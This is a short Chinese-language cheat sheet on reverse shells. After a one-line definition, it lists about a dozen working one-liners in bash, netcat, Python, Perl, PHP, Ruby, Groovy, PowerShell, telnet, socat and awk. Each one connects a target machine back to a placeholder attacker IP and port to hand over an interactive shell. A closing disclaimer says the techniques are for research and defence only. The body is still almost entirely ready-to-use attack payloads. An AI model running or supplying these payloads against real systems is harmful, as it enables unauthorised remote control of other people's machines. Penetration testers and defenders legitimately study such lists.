反弹Shell(Reverse Shell)是一种网络攻击技术,攻击者让目标主机主动连接攻击者的机器,从而建立一个Shell会话。以下是常见的反弹Shell方法:
bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1
nc -e /bin/sh [攻击者IP] [端口]
# 或者没有-e参数时
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [攻击者IP] [端口] >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[攻击者IP]",[端口]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
perl -e 'use Socket;$i="[攻击者IP]";$p=[端口];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("[攻击者IP]",[端口]);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("[攻击者IP]",[端口]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[攻击者IP]/[端口];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
$client = New-Object System.Net.Sockets.TCPClient("[攻击者IP]",[端口]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
rm -f /tmp/p; mknod /tmp/p p && telnet [攻击者IP] [端口] 0/tmp/p
socat TCP:[攻击者IP]:[端口] EXEC:/bin/bash
awk 'BEGIN {s = "/inet/tcp/0/[攻击者IP]/[端口]"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
请注意,这些技术仅供安全研究和防御使用,未经授权对他人系统使用这些技术是违法的。